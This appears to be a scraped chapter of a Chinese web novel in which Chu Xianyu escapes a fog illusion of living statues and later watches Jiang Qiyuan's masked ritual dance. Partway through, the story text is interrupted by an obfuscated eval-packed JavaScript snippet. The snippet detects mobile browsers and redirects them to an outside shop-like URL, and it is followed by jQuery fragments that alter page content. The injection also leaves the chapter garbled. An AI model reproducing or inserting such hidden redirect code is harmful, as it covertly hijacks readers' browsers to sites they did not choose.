57. 醮会十二

作品:《谁说这野史假了[古穿今]

    “我什么都看不清了,你们怎么样?妖怪没有伤到你们吧?”李翩翩大喊。


    话音之间,一大一小两座雕塑又动了,互相朝对方走去,将四人夹在中间。大的那尊背后伸出了不下十条手臂,将前路死死堵住,小的那尊浑身渗着阴森的寒气,仰头直直地看着对面,丝毫不顾及脚下是不是还有别人。


    后边是墙,侧边也是墙,唯一可逃的出路被拿着兵器的手臂堵住了。


    楚衔玉只能看见四条柱子一样的腿和晃动的兵器,抬头都是浓雾。


    “快把雾散了,我什么都看不见。”楚衔玉没工夫深究其他,对江栖渊小声说。


    江栖渊无辜:“什么?”


    楚衔玉无语,只好利用有限的视野找寻出路。


    柴道洵就没有那么幸运,他背着邵恒,一头磕在了小雕塑的膝盖上,撞得他头晕眼花,他还得稳住背后的邵恒不让他掉下来。


    “靠!要死啊,快给老子把雾散了!”背上的邵恒动了两下,柴道洵担心他醒过来之后接着犯轴,只想赶紧把人扔出去,此刻又急又痛,骂骂咧咧。


    “你还好吗?”李翩翩关切道,“谁打你了?”


    柴道洵暗骂一声,凭着过人的听力和敏锐的第六感躲过小雕塑捞过来的一掌。


    “哈喽?”没人回应她,李翩翩有点慌。


    “你们别吓我,到底怎么了,说话呀!我们不会死在这儿吧......”


    “你!闭!嘴!”柴道洵彻底火大,咬牙切齿,“你不会死在这的,放心吧,你要是不想我们死在这里,现!在!就!闭!嘴!”


    李翩翩哽咽了一下,没了动静。


    “你对她是不是太严......啊!”楚衔玉圣母心爆发,听见小姑娘哭泣有些于心不忍,话音未落,就看见一柄大刀朝她砍了过来。


    好在她身手敏捷,一跃而起,没让大刀挨着她......一波未平一波又起,前方刚躲过十八般兵器,后面一个巴掌又扇了过来。


    “好好一个玉做的小人学什么不好学别人扇巴掌。”楚衔玉忍不住吐槽。


    她借力玉塑手臂跳到了小雕塑的肩膀上,只能勉强看清前方,下面依旧是一片白雾,两座雕塑的距离已经很近了,楚衔玉试图寻找破绽。


    有了,楚衔玉很快找到了关窍,那尊大的塑像眼睛里面是空的,按理来说应当是黑漆漆的一片,可她分明看到了火光,联想到今晚是空桑府的醮会,也是火光一片,想必那就是出去的窍口。


    楚衔玉拔出配剑,欲指眸中关窍。突然,雕塑的头动了,它转过来,眼珠子转了一下,正对着楚衔玉。小雕塑也毫无征兆地将头拧过来,看着肩头的楚衔玉。楚衔玉好久没有见过这么惊悚的画面,毫无防备地吓了一跳。


    “孽...孽妖,吓唬你奶奶呢,”楚衔玉骂道,她比划了一下剑招,如果不出意外的话,她一剑就可以轰碎大雕塑的头颅,等它眼中的火光坠落下来,她们就能回到现实世界。


    起手的功夫,两座雕塑运动的速度突然加快,两个直愣愣的脖子竟然能动,还能相交。


    楚衔玉毫无防备地脚底一滑,坐在了小雕塑肩头,眼睁睁看着两颗头颅亲在了一起。


    楚衔玉当即闭上了眼睛,非礼勿视。不料它们亲在一起还不够,白玉小像竟然还把手臂抬了起来,勾住大雕塑的脖子。它的肩头本来就滑,楚衔玉重心不稳,直接从它身上滑了下去。


    不止是手,白玉小像的腿也抬了起来,两座雕塑试图回到最开始的姿势。


    “不能让他们变回去!”楚衔玉大喊,“破绽在眼睛,眼睛垂下就没机会了!”


    两尊雕像的上半身已经贴到了一起,眼看着下半身越来越近,楚衔玉老脸一红,想了个浑招。


    “对不住了。”她默念道,两腿借力一蹬,蓄力向下辟出一个剑招。


    雾气应声劈散,就在这时,江栖渊忽然冲了上来,他揽住了楚衔玉的腰身,将她正在下坠的身体往上带,不知用什么办法托住了楚衔玉下劈的手腕,将她的剑往上挑,一剑劈断了白玉小像的手臂。


    楚衔玉下意识想往下看,江栖渊搂住她,用身体挡住她的视线。


    他表情有些气急:“你还是不是个女人?”


    楚衔玉心虚地别过头去。


    “靠!什么玩意那么大,”柴道洵暴跳如雷,“靠老子要长针眼了,江栖渊老子跟你没完!”


    后半句淹没在了玉石手臂掉落在地的巨响里。


    失了手臂的白玉小像发了狂,空洞的嘴巴张开,发出咆哮,另一尊拿着武器的千手菩萨也怒了,挥舞着手中的十八般兵器要给小像报仇。


    “你放开我。”楚衔玉道。


    江栖渊握着楚衔玉的手腕往下一挥,又一根巨大的圆柱应声落地,底下起了薄薄一层雾气,江栖渊终于肯将楚衔玉放开。


    下一秒,江栖渊的身影不见了。在他飞身上去的一瞬间,暴怒的菩萨头颅炸开,它眼中的火光如同瀑布一般喷薄而出,它的身体和白玉小像的身体在沾上火光的一刹那开始消融,莲台消失了,破庙消失了,雾气也渐渐消失了。


    本就防备着高空坠物的柴道洵下意识想要躲闪,忽然意识到了什么,大喊道:“作者小姐你还在吗?别害怕,冲进火光,我们要出去了!”


    楚衔玉被火光瀑布浇了一头,她感觉到有人揽住了她,伸手捂住了她被火光灼烧的眼睛,渐渐失去了意识。


    楚衔玉忽然意识到,她的灵魂是残缺的,这个身体的灵魂也是残缺的,两个残缺的灵魂恰到好处地组合到了一起,不然她没办法解释为什么她在这具身体里的感受会如此眷念。


    这是她再次睁开眼时,脑子里的第一感受。


    本体力量再一次消失的时候,她重新长出了狐狸尾巴。


    从雾境中溯回到现实时,她与闻人珏和他怀里的小狐狸擦肩而过,小狐狸看着她,她在小狐狸眼睛里看见了很多不知道的事情。她看见了一个新生的身体,身体里被安放了一只破败的、无以为继的灵魂,灵魂无法让身体焕发生机,只能让□□跟随着灵魂一起腐烂,一只小狐狸钻了进去,才把这具身体撑了起来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243508|182524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    离开小狐狸,她又看到了在盛世纪大厦2103的那天晚上,她第一次变成狐狸的时候,是她在这个时代第一次遇到瘴妖,那天晚上的记忆随着她变成狐狸开始就有意无意地被她隐藏了,然而现在这个画面再一次出现在了她面前。


    她一直以为是自己回避痛苦不愿想起,原来那天在幻境里掏她心脏的人,竟然比她自己还要早地落下泪来。


    怎么会呢,伤人的人怎么会比被伤的人看起来还要痛苦呢。


    她原本以为当一只傻狐狸挺好的。


    现在发现,狐狸脑袋小,是真的很笨。


    楚衔玉一晃眼,身边喧嚣得不真实,鞭炮锣鼓齐鸣,红红黄黄的纸片漫天飞舞,火光照得所有人的脸都红扑扑的,大家都很尽兴。


    柴道洵和邵恒不知道从哪个旮沓里冒了出来,柴道洵的脸看起来比茅坑的石头还臭,不愿意搭理邵恒,反倒是邵恒一直在低头讨好赔罪。


    忽然,柴道洵眼睛亮了一下,穿过人群走了过来。


    “作者小姐,你没事,太好了!”他跑向李翩翩,挥手打了个招呼。


    李翩翩手里还抱着她心爱的粉红色本子,看见柴道洵和邵恒二人脸色爆红,拿起本子就将自己的脸挡住,挡到一般发现不对,赶紧将本子放下来捂在怀里,低着头找缝。


    找着找着,李翩翩眼睛一亮。


    楚衔玉背上皮毛一紧,顿感大事不妙,她在李翩翩的魔爪伸过来之前侥幸逃脱了。


    李翩翩不知道犯了什么毛病跟她较上了劲,非要把她抱起来不可。楚衔玉堂堂正道祖师,怎么可能像个宠物一样被人抱在怀里,自然是不能让她如愿的,于是在人群中乱窜。


    结果李翩翩这丫头出奇地执着,还一点都不怕人,灵活地在人群中穿梭,竟真的让她差点抓住了楚衔玉的尾巴。


    楚衔玉一不做二不休,索性蹿上了高台。她一路畅通无阻地蹿上了醮台正中央的最高层,一路上不光没有人拦着她,竟然还有人专门给她送了香火。


    楚衔玉越爬越迷糊,她是来干啥的?


    身后李翩翩的呼唤早就听不清了,她只能听到纸张在火焰中燃烧腾飞,经幡在热浪中猎猎作响。


    一张狰狞但异常俊美的傩面出现在她眼前,对方身披的玄衣之上绕着五彩斑斓的流苏,流苏随着主人的动作摆动,勾勒出完美精壮的胸廓与腰身,漂亮得不像话,简直是戳着她的心意长的。


    楚衔玉的心跳不争气地又漏了好几拍,尾巴不知道该扬还是该收。她一动不动地盯着眼前人将整支舞跳完,这是她第一次上山的时候错过的那支祭舞。原来是这样啊,真的很漂亮,果然很配他。


    江栖渊停了下来,蹲下身,修长惨白的手指几乎可以握住大半张傩面。


    楚衔玉心里扑通扑通狂跳,她觉得小狐狸好像得了心脏病了,呼吸都快呼吸不过来,难不成是因为幻境里重温掏心那一幕的后遗症?


    她前腿和后腿打架,往后退了两步,逃也似地飞奔下了醮台。


    江栖渊的傩面从手中掉了下来,眼底满是落寞。